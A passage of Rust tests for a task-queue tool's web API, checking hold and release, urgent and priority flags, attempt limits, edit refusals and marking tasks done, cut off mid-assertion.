13984 h[2].outcome.contains("operator asked the loop to park"),
13985 "{}",
13986 h[2].outcome
13987 );
13988 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
13989 let f = task_flow(&task, &h, 2, None);
13990 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
13991 }
13992
13993 #[test]
13994 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
13995 let run = flow_run(RunStatus::Implementing, |s| {
13996 s.passes = vec![
13997 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
13998 recorded_pass(1, None),
13999 ];
14000 });
14001 let task = flow_task(&[RUN_X, RUN_X]);
14002 let h = task_history(&task, |_| Some(run.clone()));
14003 assert_eq!(h[0].exit, RunExit::Interrupted);
14004 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14005 assert!(
14006 h[0].outcome.contains("without recording why"),
14007 "{}",
14008 h[0].outcome
14009 );
14010 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14011 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
14012 }
14013
14014 #[test]
14015 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
14016 use crate::queue::PassCost;
14017 let run = flow_run(RunStatus::Implementing, |s| {
14020 s.passes = vec![
14021 recorded_pass(0, parked(upgrade_cause())),
14022 recorded_pass(1, None),
14023 ];
14024 });
14025 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
14026 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14027 let h = task_history(&task, |_| Some(run.clone()));
14028 assert!(h[0].pass.is_none());
14029 assert_eq!(h[0].exit, RunExit::Interrupted);
14030 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14031 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14032 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14033 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
14034 let legacy = flow_run(RunStatus::Implementing, |_| {});
14036 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
14037 assert!(h.iter().all(|v| v.pass.is_none()));
14038 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14039 }
14040
14041 #[test]
14042 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
14043 use crate::queue::PassCost;
14044 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
14047 web.task_entry = false;
14048 let run = flow_run(RunStatus::Implementing, |s| {
14049 s.passes = vec![
14050 recorded_pass(0, parked(upgrade_cause())),
14051 web.clone(),
14052 recorded_pass(2, None),
14053 ];
14054 });
14055 let mut task = flow_task(&[RUN_X, RUN_X]);
14056 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14057 let h = task_history(&task, |_| Some(run.clone()));
14058 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14059 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
14060
14061 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
14064 web0.task_entry = false;
14065 let run = flow_run(RunStatus::Implementing, |s| {
14066 s.passes = vec![web0.clone(), recorded_pass(1, None)];
14067 });
14068 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
14069 assert!(h[0].pass.is_none());
14070 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14071 assert!(h[1].pass.is_some());
14072 }
14073
14074 #[tokio::test]
14075 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
14076 let dir = tempfile::tempdir().unwrap();
14077 let queue = Queue::at(dir.path().join("queue"));
14078 let ui = Arc::new(Ui::new(
14079 queue.clone(),
14080 Questions::at(dir.path().join("questions")),
14081 Talks::at(dir.path().join("talks")),
14082 dir.path().join("runs"),
14083 dir.path().to_path_buf(),
14084 dir.path().to_path_buf(),
14085 ));
14086 let mut t = Task::new(
14087 "recover".into(),
14088 "Inspect".into(),
14089 PathBuf::from("."),
14090 Source::Human,
14091 );
14092 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
14093 t.start("run-A".into());
14094 t.release_operator("choice", Some("resume-question"));
14095 t.resume_override = Some(crate::queue::OperatorResume {
14096 question_id: "resume-question".into(),
14097 at: jiff::Timestamp::now(),
14098 conductor_rehold: None,
14099 forced: true,
14100 pinned_run: Some("run-A".into()),
14101 });
14102 t.hold_machine(Some("inspection pending".into()));
14103 t.edit("recover".into(), "Reuse approved PR head".into())
14104 .unwrap();
14105 queue.put(&mut t).unwrap();
14106 let mut cli = t.clone();
14107 cli.release_operator("cli", None);
14108 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
14109 let reloaded = queue.get(&t.id).unwrap();
14110 assert_eq!(reply.task.status, TaskStatus::Queued);
14111 assert!(reloaded.resume_override.is_none());
14112 assert_eq!(reloaded.answers, t.answers);
14113 let mut web = reloaded.resumption.unwrap();
14114 let cli = cli.resumption.unwrap();
14115 assert_eq!(web.source, "web");
14116 web.source = cli.source.clone();
14117 web.at = cli.at;
14118 assert_eq!(web, cli);
14119 }
14120
14121 #[tokio::test]
14122 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
14123 let f = Fixture::start().await;
14124 let queue = f.queue();
14125 let mut task = Task::new(
14126 "spent".to_owned(),
14127 "Try again".to_owned(),
14128 PathBuf::from("/repo/magi"),
14129 Source::Human,
14130 );
14131 task.start("20260902-140502-bbbb".to_owned());
14132 task.fail("agent gave up", 9);
14133 queue.put(&mut task).expect("file the task");
14134
14135 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14136 assert_eq!(held.status, 200);
14137 assert_eq!(held.json()["status_str"], "held");
14138
14139 let released = f
14140 .post(&format!("/api/queue/{}/release", task.id), None)
14141 .await;
14142 assert_eq!(released.status, 200);
14143 assert_eq!(released.json()["status_str"], "queued");
14144 assert_eq!(released.json()["resumption"]["source"], "web");
14145 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
14146 let mut cli = task.clone();
14147 cli.release_operator("cli", None);
14148 let web = queue.get(&task.id).unwrap().resumption.unwrap();
14149 let cli = cli.resumption.unwrap();
14150 assert_eq!(web.instruction, cli.instruction);
14151 assert_eq!(web.answers_through, cli.answers_through);
14152 assert_eq!(web.runs_through, cli.runs_through);
14153 assert_eq!(web.cleared_reason, cli.cleared_reason);
14154 assert_eq!(
14155 released.json()["attempts"],
14156 0,
14157 "release is a real second chance, not an instant re-hold"
14158 );
14159 assert_eq!(
14160 queue.get(&task.id).expect("reload").status,
14161 TaskStatus::Queued,
14162 "the change is on disk, not only in the reply"
14163 );
14164 assert!(
14165 !f.home
14166 .path()
14167 .join("queue")
14168 .join(format!("{}.lock", task.id))
14169 .exists(),
14170 "the claim the mutation took is released again"
14171 );
14172 }
14173
14174 #[tokio::test]
14175 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
14176 let f = Fixture::start().await;
14177 let queue = f.queue();
14178 let mut task = Task::new(
14179 "busy".to_owned(),
14180 "Running right now".to_owned(),
14181 PathBuf::from("/repo/magi"),
14182 Source::Human,
14183 );
14184 queue.put(&mut task).expect("file the task");
14185 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14186
14187 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14188
14189 assert_eq!(res.status, 409);
14190 assert_eq!(
14191 queue.get(&task.id).expect("reload").status,
14192 TaskStatus::Queued,
14193 "the refused hold changed nothing"
14194 );
14195 }
14196
14197 #[tokio::test]
14198 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
14199 let f = Fixture::start().await;
14200 let queue = f.queue();
14201 let mut task = Task::new(
14202 "waiting on the migration".to_owned(),
14203 "Do the thing".to_owned(),
14204 PathBuf::from("/repo/magi"),
14205 Source::Human,
14206 );
14207 queue.put(&mut task).expect("file the task");
14208
14209 let held = f
14210 .post(
14211 &format!("/api/queue/{}/hold", task.id),
14212 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
14213 )
14214 .await;
14215 assert_eq!(held.status, 200, "{}", held.body);
14216 assert_eq!(held.json()["status_str"], "held");
14217 assert_eq!(
14218 held.json()["hold_reason"],
14219 "waiting for 20260101-000000-aaaa to land"
14220 );
14221
14222 let listed = f.get("/api/queue").await.json();
14223 assert_eq!(
14224 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
14225 "the card reads the reason off the same list route"
14226 );
14227
14228 let mut plain = Task::new(
14231 "no reason given".to_owned(),
14232 "Do another thing".to_owned(),
14233 PathBuf::from("/repo/magi"),
14234 Source::Human,
14235 );
14236 queue.put(&mut plain).expect("file the task");
14237 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
14238 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
14239 assert!(held_plain.json()["hold_reason"].is_null());
14240
14241 let released = f
14242 .post(&format!("/api/queue/{}/release", task.id), None)
14243 .await;
14244 assert_eq!(released.status, 200);
14245 assert!(
14246 released.json()["hold_reason"].is_null(),
14247 "a release must clear the reason so the next hold does not inherit it"
14248 );
14249 }
14250
14251 #[test]
14252 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
14253 for urgent in [true, false] {
14254 let body: UrgentBody =
14255 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
14256 assert_eq!(body.urgent, urgent);
14257 }
14258 for input in [
14259 r#"{}"#,
14260 r#"{"urgent":null}"#,
14261 r#"{"urgent":"true"}"#,
14262 r#"{"urgent":1}"#,
14263 r#"{"urgent":true,"extra":false}"#,
14264 ] {
14265 assert!(
14266 serde_json::from_str::<UrgentBody>(input).is_err(),
14267 "{input}"
14268 );
14269 }
14270 }
14271
14272 #[tokio::test]
14273 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
14274 let home = TempDir::new().unwrap();
14275 let q = Queue::at(home.path().join("queue"));
14276 let ui = Arc::new(Ui::new(
14277 q.clone(),
14278 Questions::at(home.path().join("questions")),
14279 Talks::at(home.path().join("talks")),
14280 home.path().join("runs"),
14281 home.path().into(),
14282 home.path().into(),
14283 ));
14284 let mut task = Task::new(
14285 "urgent handler".into(),
14286 "keep".into(),
14287 home.path().into(),
14288 Source::Human,
14289 );
14290 for status in [TaskStatus::Queued, TaskStatus::Held] {
14291 task.status = status;
14292 q.put(&mut task).unwrap();
14293 for urgent in [true, true, false, false] {
14294 let saved = queue_urgent(
14295 State(Arc::clone(&ui)),
14296 Path(task.short().into()),
14297 Ok(Json(UrgentBody { urgent })),
14298 )
14299 .await
14300 .unwrap();
14301 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
14302 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
14303 }
14304 }
14305 task.status = TaskStatus::Queued;
14306 q.put(&mut task).unwrap();
14307 let claim = q.claim(&task.id).unwrap();
14308 let error = queue_urgent(
14309 State(Arc::clone(&ui)),
14310 Path(task.id.clone()),
14311 Ok(Json(UrgentBody { urgent: true })),
14312 )
14313 .await
14314 .unwrap_err();
14315 assert_eq!(error.status, StatusCode::CONFLICT);
14316 assert!(error.message.contains("released"));
14317 drop(claim);
14318 for status in [
14319 TaskStatus::Running,
14320 TaskStatus::Done,
14321 TaskStatus::Failed,
14322 TaskStatus::Blocked,
14323 TaskStatus::Parked,
14324 ] {
14325 task.status = status;
14326 q.put(&mut task).unwrap();
14327 let error = queue_urgent(
14328 State(Arc::clone(&ui)),
14329 Path(task.id.clone()),
14330 Ok(Json(UrgentBody { urgent: false })),
14331 )
14332 .await
14333 .unwrap_err();
14334 assert_eq!(error.status, StatusCode::BAD_REQUEST);
14335 assert!(error.message.contains(status.as_str()));
14336 }
14337 }
14338
14339 #[tokio::test]
14340 async fn urgent_api_updates_preserves_and_validates_tasks() {
14341 let f = Fixture::start().await;
14342 let q = f.queue();
14343 let mut t = Task::new(
14344 "urgent API".into(),
14345 "unchanged".into(),
14346 PathBuf::from("/repo/magi"),
14347 Source::Human,
14348 );
14349 t.attempts = 2;
14350 t.priority = 9;
14351 t.interrupt = true;
14352 t.hold_reason = Some("waiting for approval".into());
14353 for status in [TaskStatus::Queued, TaskStatus::Held] {
14354 t.status = status;
14355 q.put(&mut t).unwrap();
14356 for urgent in [true, true, false, false] {
14357 let response = f
14358 .post(
14359 &format!("/api/queue/{}/urgent", t.short()),
14360 Some(&format!("{{\"urgent\":{urgent}}}")),
14361 )
14362 .await;
14363 assert_eq!(response.status, 200, "{}", response.body);
14364 assert_eq!(response.json()["urgent"], urgent);
14365 let saved = q.get(&t.id).unwrap();
14366 let mut before = serde_json::to_value(&t).unwrap();
14367 let mut after = serde_json::to_value(saved).unwrap();
14368 before["urgent"] = urgent.into();
14369 before.as_object_mut().unwrap().remove("updated_at");
14370 after.as_object_mut().unwrap().remove("updated_at");
14371 assert_eq!(after, before);
14372 }
14373 }
14374 let route = format!("/api/queue/{}/urgent", t.id);
14375 for body in [
14376 r#"{}"#,
14377 r#"{"urgent":null}"#,
14378 r#"{"urgent":"true"}"#,
14379 r#"{"urgent":1}"#,
14380 r#"{"urgent":true,"extra":false}"#,
14381 "{",
14382 ] {
14383 assert_eq!(f.post(&route, Some(body)).await.status, 400);
14384 }
14385 t.status = TaskStatus::Queued;
14386 q.put(&mut t).unwrap();
14387 let claim = q.claim(&t.id).unwrap();
14388 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
14389 assert_eq!(response.status, 409, "{}", response.body);
14390 assert!(!q.get(&t.id).unwrap().urgent);
14391 drop(claim);
14392 for status in [
14393 TaskStatus::Running,
14394 TaskStatus::Done,
14395 TaskStatus::Failed,
14396 TaskStatus::Blocked,
14397 TaskStatus::Parked,
14398 ] {
14399 t.status = status;
14400 q.put(&mut t).unwrap();
14401 for urgent in [true, false] {
14402 let response = f
14403 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
14404 .await;
14405 assert_eq!(response.status, 400, "{}", response.body);
14406 assert!(response.body.contains(status.as_str()));
14407 assert!(response.body.contains("queued or held"));
14408 assert!(!q.get(&t.id).unwrap().urgent);
14409 }
14410 }
14411 assert_eq!(
14412 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
14413 .await
14414 .status,
14415 404
14416 );
14417 }
14418
14419 #[tokio::test]
14420 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
14421 let f = Fixture::start().await;
14422 let queue = f.queue();
14423 let mut older = Task::new(
14424 "filed first".to_owned(),
14425 "x".to_owned(),
14426 PathBuf::from("/repo/magi"),
14427 Source::Human,
14428 );
14429 older.id = "20260101-000001-aaaa".to_owned();
14430 let mut newer = Task::new(
14431 "filed second".to_owned(),
14432 "x".to_owned(),
14433 PathBuf::from("/repo/magi"),
14434 Source::Human,
14435 );
14436 newer.id = "20260101-000002-bbbb".to_owned();
14437 queue.put(&mut older).expect("file older");
14438 queue.put(&mut newer).expect("file newer");
14439
14440 let before = f.get("/api/queue").await.json();
14443 assert_eq!(before[0]["id"], newer.id);
14444 assert_eq!(before[1]["id"], older.id);
14445
14446 let raised = f
14450 .post(
14451 &format!("/api/queue/{}/priority", older.id),
14452 Some(r#"{"priority":10}"#),
14453 )
14454 .await;
14455 assert_eq!(raised.status, 200, "{}", raised.body);
14456 assert_eq!(raised.json()["priority"], 10);
14457
14458 let after = f.get("/api/queue").await.json();
14459 let names: Vec<&str> = after
14460 .as_array()
14461 .unwrap()
14462 .iter()
14463 .map(|t| t["id"].as_str().unwrap())
14464 .collect();
14465 assert_eq!(names[0], older.id, "the raised task now sorts first");
14469 }
14470
14471 #[tokio::test]
14472 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
14473 let dir = TempDir::new().unwrap();
14474 let q = Queue::at(dir.path().join("queue"));
14475 let ui = Arc::new(Ui::new(
14476 q.clone(),
14477 Questions::at(dir.path().join("questions")),
14478 Talks::at(dir.path().join("talks")),
14479 dir.path().join("runs"),
14480 dir.path().to_path_buf(),
14481 dir.path().to_path_buf(),
14482 ));
14483 let mut t = Task::new(
14484 "budget".into(),
14485 "keep".into(),
14486 dir.path().into(),
14487 Source::Human,
14488 );
14489 t.attempts = 2;
14490 t.runs.push("prior-run".into());
14491 t.hold_manual(Some("waiting".into()));
14492 q.put(&mut t).unwrap();
14493 let change = |value| {
14494 queue_attempt_limit(
14495 State(ui.clone()),
14496 Path(t.id.clone()),
14497 Ok(Json(AttemptLimitBody {
14498 attempt_limit: value,
14499 })),
14500 )
14501 };
14502 for value in [
14503 serde_json::json!(3),
14504 serde_json::Value::Null,
14505 serde_json::json!(1),
14506 ] {
14507 let response = change(value.clone()).await.unwrap();
14508 assert_eq!(
14509 serde_json::to_value(response.0).unwrap()["attempt_limit"],
14510 value
14511 );
14512 let saved = q.get(&t.id).unwrap();
14513 assert_eq!(
14514 serde_json::to_value(&saved).unwrap()["attempt_limit"],
14515 value
14516 );
14517 assert_eq!(saved.status, TaskStatus::Held);
14518 assert_eq!(saved.attempts, t.attempts);
14519 assert_eq!(saved.runs, t.runs);
14520 assert_eq!(saved.hold_reason, t.hold_reason);
14521 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
14522 .await
14523 .unwrap()
14524 .0;
14525 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
14526 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
14527 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
14528 assert_eq!(outcome.max_attempts, detail.max_attempts);
14529 }
14530 for value in [
14531 serde_json::json!(0),
14532 serde_json::json!(-1),
14533 serde_json::json!(1.5),
14534 serde_json::json!("3"),
14535 serde_json::json!(true),
14536 ] {
14537 assert_eq!(
14538 change(value).await.err().unwrap().status,
14539 StatusCode::BAD_REQUEST
14540 );
14541 }
14542 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
14543 let claim = q.claim(&t.id).unwrap();
14544 assert_eq!(
14545 change(serde_json::json!(4)).await.err().unwrap().status,
14546 StatusCode::CONFLICT
14547 );
14548 drop(claim);
14549 for status in [
14550 TaskStatus::Running,
14551 TaskStatus::Done,
14552 TaskStatus::Failed,
14553 TaskStatus::Blocked,
14554 TaskStatus::Parked,
14555 ] {
14556 let mut stored = q.get(&t.id).unwrap();
14557 stored.status = status;
14558 q.put(&mut stored).unwrap();
14559 assert_eq!(
14560 change(serde_json::json!(4)).await.err().unwrap().status,
14561 StatusCode::BAD_REQUEST
14562 );
14563 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
14564 }
14565 let mut stored = q.get(&t.id).unwrap();
14566 stored.status = TaskStatus::Queued;
14567 q.put(&mut stored).unwrap();
14568 let _ = change(serde_json::Value::Null).await.unwrap();
14569 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
14570 }
14571
14572 #[tokio::test]
14573 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
14574 let dir = TempDir::new().unwrap();
14575 let repo = dir.path().join("repo");
14576 std::fs::create_dir(&repo).unwrap();
14577 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
14578 let q = Queue::at(dir.path().join("queue"));
14579 let ui = Arc::new(Ui::new(
14580 q.clone(),
14581 Questions::at(dir.path().join("questions")),
14582 Talks::at(dir.path().join("talks")),
14583 dir.path().join("runs"),
14584 dir.path().to_path_buf(),
14585 repo.clone(),
14586 ));
14587 let mut t = Task::new(
14588 "seats".into(),
14589 "keep instruction".into(),
14590 repo,
14591 Source::Human,
14592 );
14593 t.runs.push("prior-run".into());
14594 t.hold_manual(Some("waiting".into()));
14595 q.put(&mut t).unwrap();
14596 let change = |count| {
14597 queue_implementers(
14598 State(ui.clone()),
14599 Path(t.id.clone()),
14600 Ok(Json(ImplementersBody {
14601 implementers: count,
14602 })),
14603 )
14604 };
14605 for count in [2, 1, 2] {
14606 let response = change(count).await.unwrap();
14607 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
14608 let saved = q.get(&t.id).unwrap();
14609 assert_eq!(saved.implementers(), Some(usize::from(count)));
14610 assert_eq!(saved.runs, t.runs);
14611 assert_eq!(saved.instruction, t.instruction);
14612 }
14613 for count in [0, 4] {
14614 assert_eq!(
14615 change(count).await.err().unwrap().status,
14616 StatusCode::BAD_REQUEST
14617 );
14618 }
14619 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
14620 let claim = q.claim(&t.id).unwrap();
14621 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
14622 drop(claim);
14623 for status in [
14624 TaskStatus::Running,
14625 TaskStatus::Done,
14626 TaskStatus::Failed,
14627 TaskStatus::Blocked,
14628 TaskStatus::Parked,
14629 ] {
14630 let mut stored = q.get(&t.id).unwrap();
14631 stored.status = status;
14632 q.put(&mut stored).unwrap();
14633 assert_eq!(
14634 change(1).await.err().unwrap().status,
14635 StatusCode::BAD_REQUEST
14636 );
14637 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
14638 }
14639 }
14640
14641 #[tokio::test]
14642 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
14643 let f = Fixture::start().await;
14644 let queue = f.queue();
14645 let mut task = Task::new(
14646 "in flight".to_owned(),
14647 "x".to_owned(),
14648 PathBuf::from("/repo/magi"),
14649 Source::Human,
14650 );
14651 task.start("20260902-140502-bbbb".to_owned());
14652 queue.put(&mut task).expect("file the task");
14653
14654 let res = f
14655 .post(
14656 &format!("/api/queue/{}/priority", task.id),
14657 Some(r#"{"priority":9}"#),
14658 )
14659 .await;
14660 assert_eq!(res.status, 400, "{}", res.body);
14661 assert!(
14662 res.json()["error"]
14663 .as_str()
14664 .is_some_and(|e| e.contains("running")),
14665 "{}",
14666 res.body
14667 );
14668 assert_eq!(
14669 queue.get(&task.id).expect("reload").priority,
14670 0,
14671 "the refused write must not partially apply"
14672 );
14673 }
14674
14675 #[tokio::test]
14676 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
14677 let f = Fixture::start().await;
14678 let queue = f.queue();
14679 let mut task = Task::new(
14680 "old title".to_owned(),
14681 "old instruction".to_owned(),
14682 PathBuf::from("/repo/magi"),
14683 Source::Agent {
14684 run: "20260101-000000-beef".to_owned(),
14685 node: "implement".to_owned(),
14686 },
14687 );
14688 task.runs.push("20260101-000000-beef".to_owned());
14689 queue.put(&mut task).expect("file the task");
14690 let created_at = task.created_at;
14691
14692 let edited = f
14693 .post(
14694 &format!("/api/queue/{}/edit", task.id),
14695 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
14696 )
14697 .await;
14698 assert_eq!(edited.status, 200, "{}", edited.body);
14699 let body = edited.json();
14700 assert_eq!(body["title"], "new title");
14701 assert_eq!(body["instruction"], "new instruction");
14702 assert_eq!(body["id"], task.id, "editing must not mint a new id");
14703 assert_eq!(body["created_at"], created_at.to_string());
14704 assert_eq!(
14705 body["source"]["kind"], "agent",
14706 "editing a task an agent filed must not turn it human: {body}"
14707 );
14708 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
14709
14710 let reloaded = queue.get(&task.id).expect("reload");
14711 assert_eq!(reloaded.title, "new title");
14712 assert_eq!(reloaded.instruction, "new instruction");
14713 }
14714
14715 #[tokio::test]
14716 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
14717 let tmp = TempDir::new().expect("tempdir");
14720 let repo = tmp.path().join("repo");
14721 std::fs::create_dir_all(&repo).expect("repo dir");
14722 let judge = MOCK_AGENT_TOML.replace(
14723 "printf ok",
14724 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
14725 );
14726 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
14727 let f = Fixture::with_repo(repo.clone()).await;
14728 let queue = f.queue();
14729 let mut owner = Task::new(
14730 "owner".to_owned(),
14731 "review it".to_owned(),
14732 repo.clone(),
14733 Source::Human,
14734 );
14735 owner.review_branch = Some("magi/ab12/A".to_owned());
14736 queue.put(&mut owner).expect("file the owner");
14737 let mut task = Task::new(
14738 "draft".to_owned(),
14739 "old".to_owned(),
14740 repo.clone(),
14741 Source::Human,
14742 );
14743 queue.put(&mut task).expect("file the draft");
14744 let url = format!("/api/queue/{}/edit", task.id);
14745
14746 let refused = f
14747 .post(
14748 &url,
14749 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
14750 )
14751 .await;
14752 assert_eq!(refused.status, 409, "{}", refused.body);
14753 let msg = refused.json()["error"]
14754 .as_str()
14755 .unwrap_or_default()
14756 .to_owned();
14757 assert!(
14758 msg.contains("magi/ab12/A") && msg.contains("force"),
14759 "{msg}"
14760 );
14761 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
14762
14763 let forced = f
14764 .post(
14765 &url,
14766 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
14767 )
14768 .await;
14769 assert_eq!(forced.status, 200, "{}", forced.body);
14770 }
14771
14772 #[tokio::test]
14773 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
14774 let f = Fixture::start().await;
14775 let queue = f.queue();
14776 let mut task = Task::new(
14777 "in flight".to_owned(),
14778 "do not touch".to_owned(),
14779 PathBuf::from("/repo/magi"),
14780 Source::Human,
14781 );
14782 task.start("20260902-140502-bbbb".to_owned());
14783 queue.put(&mut task).expect("file the task");
14784
14785 let res = f
14786 .post(
14787 &format!("/api/queue/{}/edit", task.id),
14788 Some(r#"{"title":"x","instruction":"y"}"#),
14789 )
14790 .await;
14791 assert_eq!(res.status, 400, "{}", res.body);
14792 assert!(
14793 res.json()["error"]
14794 .as_str()
14795 .is_some_and(|e| e.contains("running")),
14796 "{}",
14797 res.body
14798 );
14799 assert_eq!(
14800 queue.get(&task.id).expect("reload").instruction,
14801 "do not touch",
14802 "the refused edit must not change the file"
14803 );
14804 }
14805
14806 #[tokio::test]
14807 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
14808 let f = Fixture::start().await;
14809 let queue = f.queue();
14810 let mut task = Task::new(
14811 "busy".to_owned(),
14812 "Running right now".to_owned(),
14813 PathBuf::from("/repo/magi"),
14814 Source::Human,
14815 );
14816 queue.put(&mut task).expect("file the task");
14817 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14818
14819 let priority = f
14820 .post(
14821 &format!("/api/queue/{}/priority", task.id),
14822 Some(r#"{"priority":9}"#),
14823 )
14824 .await;
14825 assert_eq!(priority.status, 409, "{}", priority.body);
14826
14827 let edit = f
14828 .post(
14829 &format!("/api/queue/{}/edit", task.id),
14830 Some(r#"{"title":"x","instruction":"y"}"#),
14831 )
14832 .await;
14833 assert_eq!(edit.status, 409, "{}", edit.body);
14834 }
14835
14836 #[tokio::test]
14837 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
14838 let f = Fixture::start().await;
14839 let queue = f.queue();
14840 let mut task = Task::new(
14841 "shipped by hand".to_owned(),
14842 "merged outside the loop".to_owned(),
14843 PathBuf::from("/repo/magi"),
14844 Source::Agent {
14845 run: "20260101-000000-b455".to_owned(),
14846 node: "implement".to_owned(),
14847 },
14848 );
14849 task.runs.push("20260101-000000-b455".to_owned());
14850 task.runs.push("20260101-000000-9af4".to_owned());
14851 queue.put(&mut task).expect("file the task");
14852 let created_at = task.created_at;
14853
14854 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14855 assert_eq!(done.status, 200, "{}", done.body);
14856 assert_eq!(done.json()["status_str"], "done");
14857
14858 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
14859 assert_eq!(
14860 reloaded.runs,
14861 ["20260101-000000-b455", "20260101-000000-9af4"]
14862 );
14863 assert_eq!(
14864 reloaded.source,
14865 Source::Agent {
14866 run: "20260101-000000-b455".to_owned(),
14867 node: "implement".to_owned(),
14868 }
14869 );
14870 assert_eq!(reloaded.created_at, created_at);
14871 }
14872
14873 #[tokio::test]
14874 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
14875 let f = Fixture::start().await;
14880 let queue = f.queue();
14881 let mut task = Task::new(
14882 "landed while held".to_owned(),
14883 "x".to_owned(),
14884 PathBuf::from("/repo/magi"),
14885 Source::Human,
14886 );
14887 task.hold_manual(Some("waiting on 3ed9".to_owned()));
14888 queue.put(&mut task).expect("file the held task");
14889
14890 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14891 assert_eq!(done.status, 200, "{}", done.body);
14892 assert_eq!(done.json()["status_str"], "done");
14893 assert!(
14894 done.json()["hold_reason"].is_null(),
14895 "a done task cannot still be waiting on something: {}",
14896 done.body
14897 );
14898 }
14899
14900 #[tokio::test]
14901 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
14902 let f = Fixture::start().await;
14907 let queue = f.queue();
14908 let runs = f.runs();
14909 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
14910 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
14914
14915 let mut task = Task::new(
14916 "landed by hand".to_owned(),
14917 "x".to_owned(),
14918 PathBuf::from("/repo/magi"),
14919 Source::Human,
14920 );
14921 task.runs.push("20260101-000000-doa1".to_owned());
14922 task.runs.push("20260101-000000-doa2".to_owned());
14923 queue.put(&mut task).expect("file the task");
14924
14925 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
14926 assert_eq!(done.status, 200, "{}", done.body);
14927
14928 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
14929 .expect("run still on disk under this fixture's own home");
14930 assert_eq!(
14931 reloaded_run.status,
14932 RunStatus::Superseded,
14933 "closing the task by hand must relabel the earlier blocked attempt exactly \
